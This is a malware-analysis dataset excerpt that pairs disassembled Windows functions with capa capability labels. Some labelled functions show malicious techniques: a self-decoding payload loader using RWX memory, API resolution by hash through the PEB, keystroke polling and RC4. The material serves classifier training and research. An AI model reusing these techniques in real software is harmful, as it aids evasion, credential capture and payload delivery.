joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a02d
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00407500
mov eax, dword [0x4b13b4]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call fcn.00408a0a
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x40a160
push 2
push esi
push dword [ebp + 8]
call fcn.00408a0a
add esp, 0xc
cmp eax, ebx
je 0x40a160
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x40a100
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.00407540
push 0x8000
push dword [ebp + 8]
call fcn.0040a3d4
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x40a0b6
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.00406258
add esp, 0xc
cmp eax, 0xffffffff
je 0x40a0d6
sub edi, eax
test edi, edi
jg 0x40a0ae
jmp 0x40a0ee
call fcn.00405330
cmp dword [eax], 5
jne 0x40a0eb
call fcn.00405327
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.0040a3d4
pop ecx
pop ecx
jmp 0x40a148
jge 0x40a148
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408a0a
push dword [ebp + 8]
call fcn.004050a8
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x40a148
call fcn.00405327
mov dword [eax], 0xd
call fcn.00405330
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.00408a0a
add esp, 0xc
mov eax, esi
pop edi
jmp 0x40a162
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.00407a7a
leave
ret
Function at 0x1001ea80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x7c
mov eax, dword [0x10049200]
xor eax, esp
mov dword [esp + 0x78], eax
mov edx, dword [esp + 0x8c]
push ebp
mov ebp, dword [esp + 0x98]
push esi
mov esi, dword [esp + 0x88]
push edi
mov edi, dword [esp + 0x90]
test edi, edi
je 0x1001eaf0
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, word [esi + 0xea]
push 0
push 0
push eax
mov eax, dword [edi + 0x10]
push dword [eax + 0x18]
push dword [esi + 0x10c]
call fcn.10018fc0
test eax, eax
jns 0x1001eb54
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.1003de00
add esp, 0x7c
ret 0x1c
mov ecx, edx
push ebx
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001eaf6
sub ecx, ebx
pop ebx
cmp ecx, 0x40
ja 0x1001ec6a
push edx
lea eax, [esp + 0x44]
push eax
call fcn.10018e30
mov ecx, eax
test ecx, ecx
je 0x1001ec6a
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, word [esi + 0xe8]
push 0
push 0
push eax
push ecx
lea eax, [esp + 0x58]
push eax
push dword [esp + 0xb0]
push dword [esi + 0x10c]
call fcn.100190f0
test eax, eax
js 0x1001ec6f
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001ec6a
lea ecx, [esp + 0xc]
xorps xmm0, xmm0
push ecx
push dword [esi + 0x48]
movdqu xmmword [esp + 0x20], xmm0
push eax
movdqu xmmword [esp + 0x34], xmm0
mov dword [esp + 0x24], 0x28
movq qword [esp + 0x44], xmm0
call fcn.1000e470
test eax, eax
je 0x1001eb95
mov eax, dword [eax]
mov dword [esp + 0x34], eax
test edi, edi
je 0x1001ebae
test byte [edi + 0x65], 8
mov eax, 6
mov ecx, 7
cmove eax, ecx
mov dword [esp + 0x30], eax
lea eax, [esp + 0xc]
push eax
push dword [esi + 0x40]
push dword [esp + 0x18]
call fcn.1000e470
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x24], eax
lea eax, [esp + 0xc]
push eax
push dword [esi + 0x44]
mov dword [esp + 0x28], ecx
push dword [esp + 0x18]
call fcn.1000e470
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0xc]
push eax
push dword [esi + 0x5c]
mov dword [esp + 0x30], ecx
push dword [esp + 0x18]
call fcn.1000e470
movzx edi, word [eax]
lea eax, [esp + 0xc]
push eax
push dword [esi + 0x4c]
mov dword [esp + 0x24], edi
push dword [esp + 0x18]
call fcn.1000e470
cmp dword [esp + 0x9c], 0
jne 0x1001ec34
cmp edi, 1
jne 0x1001ec34
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x3c]
push ecx
push dword [eax]
push esi
call 0x10078de6
mov eax, dword [esp + 0xa4]
mov ecx, 0x28
cmp eax, ecx
cmova eax, ecx
push eax
lea eax, [esp + 0x1c]
push eax
push ebp
call fcn.1003e4e0
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.1003de00
add esp, 0x7c
ret 0x1c
mov eax, 0xfffffae7
mov ecx, dword [esp + 0x84]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.1003de00
add esp, 0x7c
ret 0x1c
Function at 0x1001aeee
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1001aefd
pop dword [ebp - 0xc]
mov eax, 0x1001aefd
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x1aa697cd
add dword [ebp - 0x1c], 0x33abad7e
mov dword [ebp - 0x18], 0x60537425
add dword [ebp - 0x18], 0xd1dfd820
mov dword [ebp - 0x14], 0x204b40eb
sub dword [ebp - 0x14], 0xd3fefcbd
mov dword [ebp - 0x10], 0xbf84bb05
sub dword [ebp - 0x10], 0xbf84bb05
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x2963387d
sub eax, 0x196177fd
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x3dc2ca8e
add dword [ebp - 0x1c], 0x36af9ec8
mov dword [ebp - 0x18], 0xae407e2c
sub dword [ebp - 0x18], 0x6cd41cb7
mov dword [ebp - 0x14], 0xbafa7650
sub dword [ebp - 0x14], 0x578b09e4
mov dword [ebp - 0x10], 0xc883a5b
sub dword [ebp - 0x10], 0xc883a5b
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x34a0e
push 0
call eax
mov ecx, 0xe6b7deb
add ecx, 0xf194bee1
xor esi, esi
add esi, eax
mov edi, 0x10026800
add edi, dword [ebp - 0xc]
mov ebx, 0xdeb083ee
sub ebx, 0x5ebee377
xor dword [ebp - 8], esi
mov edx, dword [edi]
add edx, ebx
sub dword [ebp - 8], 0x744b1b64
mov dword [esi], edx
mov dword [ebp - 8], 0xa2a00438
add esi, 4
add edi, 4
loop 0x1001b011
add eax, 0x4c5fd8e6
sub eax, 0x4c5ef2e3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xc7da89df
sub ecx, 0xb7da89df
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4044b6
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4044e4
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4044db
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4044d3
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x404505
mov esp, ebp
pop ebp
ret

Function at 0x404509
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x404575
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x4045a2
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x404591
xor ecx, eax
xor edx, ebx
dec edi
jne 0x404582
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x4045c8
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x404569
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x4045f4
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4050d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
jmp 0x4050e0
sub esp, 0x38
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp + 8], 0
jle 0x405135
push dword [ebp + 8]
call fcn.004052e1
mov dword [ebp - 0x24], eax
cmp word [ebp - 0x24], 0x5a4d
jne 0x405135
xor eax, eax
jmp 0x40513a
mov eax, 1
test eax, eax
je 0x40514c
mov eax, 0
jmp 0x4052db
push 0x3c
push dword [ebp + 8]
call fcn.00405323
push eax
call fcn.004052fd
push eax
push dword [ebp + 8]
call fcn.00405323
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.004052fd
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x4550
jne 0x4051a7
push 0x7c
push dword [ebp - 4]
call fcn.00405323
push eax
call fcn.004052fd
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4051a7
xor eax, eax
jmp 0x4051ac
mov eax, 1
test eax, eax
je 0x4051be
mov eax, 0
jmp 0x4052db
push 0x78
push dword [ebp - 4]
call fcn.00405323
push eax
call fcn.004052fd
push eax
push dword [ebp + 8]
call fcn.00405323
mov dword [ebp - 8], eax
push 0x20
push dword [ebp - 8]
call fcn.00405323
push eax
call fcn.004052fd
push eax
push dword [ebp + 8]
call fcn.00405323
push eax
call fcn.004052fd
push eax
push dword [ebp + 8]
call fcn.00405323
mov dword [ebp - 0xc], eax
push 0x18
push dword [ebp - 8]
call fcn.00405323
push eax
call fcn.004052fd
mov dword [ebp - 0x10], eax
push 1
push dword [ebp - 0x10]
call fcn.0040534a
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x4052ce
push dword [ebp - 0x18]
push dword [ebp - 0xc]
call fcn.00405323
mov dword [ebp - 0x14], eax
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call fcn.00405371
test eax, eax
je 0x4052b1
push 0x1c
push dword [ebp - 8]
call fcn.00405323
push eax
call fcn.004052fd
push eax
push dword [ebp + 8]
call fcn.00405323
mov dword [ebp - 0x24], eax
push 4
push dword [ebp - 0x10]
call fcn.004053a5
push eax
push dword [ebp - 0x24]
call fcn.00405323
push eax
call fcn.004052fd
push eax
push dword [ebp + 8]
call fcn.00405323
jmp 0x4052db
push dword [ebp - 0x14]
call fcn.004053cd
push eax
push dword [ebp - 0x18]
call fcn.00405323
mov dword [ebp - 0x18], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x40523a
add esp, 0xc
mov eax, 0
jmp 0x4052db
mov esp, ebp
pop ebp
ret 8
Function at 0x411f60
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x475c1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046a504
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x411fe2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00467e5d
mov eax, dword [eax]
push 0x4f01c8
push eax
call fcn.0045acd4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046a78f
test bl, bl
je 0x411fe2
push 0x4f01c8
lea ecx, [esp + 0xc]
call fcn.0046ab1f
push 0x4f3d4c
lea ecx, [esp + 0xc]
call fcn.0046ab1f
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41201e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046a78f
jmp 0x4120e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4120a2
lea edx, [esp + 0x7c]
push 0x4f3d48
push edx
call fcn.0045acd4
add esp, 8
test eax, eax
je 0x4120a2
lea eax, [esp + 0x7c]
push 0x4f3d44
push eax
call fcn.0045acd4
add esp, 8
test eax, eax
je 0x4120a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x412032
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046a78f
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x413340
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4133a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4133b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x475d7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4fa290]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4134e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x413416
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046a78f
xor eax, eax
jmp 0x41355f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046a8cc
push esi
lea ecx, [esp + 0xc]
call fcn.0046ab5b
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41353d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00413340
test eax, eax
jne 0x41353d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00413340
test eax, eax
jne 0x41353d
lea eax, [esp + 0x14]
push 0x4f3d60
push eax
call fcn.0045bd10
mov esi, eax
add esp, 8
test esi, esi
jne 0x41351c
lea ecx, [esp + 0x14]
push 0x4f3d5c
push ecx
call fcn.0045bc90
mov esi, eax
add esp, 8
test esi, esi
jne 0x41351c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41351f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046a87c
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41342e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046a78f
xor eax, eax
jmp 0x41355f
mov byte [esi], 0
push 0x4f3d58
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046a78f
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4262c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42632e
cmp si, 0x69
ja 0x42632e
add esi, 0xffd0
cmp si, 0x11
je 0x4262fe
push 0x11
call edi
test ax, ax
jge 0x4262fe
or esi, 0x2000
cmp si, 0x10
je 0x426313
push 0x10
call edi
test ax, ax
jge 0x426313
or esi, 0x4000
cmp si, 0x12
je 0x426328
push 0x12
call edi
test ax, ax
jge 0x426328
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42633b
mov esi, 0xbd
jmp 0x4262ef
cmp si, 0x6e
jne 0x426348
mov esi, 0xbe
jmp 0x4262ef
cmp si, 0x6f
jne 0x4262e9
mov esi, 0xbf
jmp 0x4262ef

Function at 0x4279e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x50a988]
xor edx, edx
cmp eax, edx
jne 0x427a06
xor eax, eax
mov byte [eax + 0x50a888], al
inc eax
cmp eax, 0x100
jl 0x4279ee
mov dword [0x50a988], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x50a888
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x427a97
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x427a6a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x427a38
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x427b10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x427b63
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x427b4a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e5a0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42e738
cmp ebp, ebx
jle 0x42e738
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42e5fe
dec eax
or eax, 0xfffffff8
inc eax
je 0x42e605
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42e614
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42e61b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0046a4d0
add esp, 4
cmp eax, ebx
je 0x42e63c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0046a4d0
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42e72e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42e715
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42e701
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42e6f6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42e704
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42e704
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42e6a0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42e691
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x430690
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.0046bd3e
lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret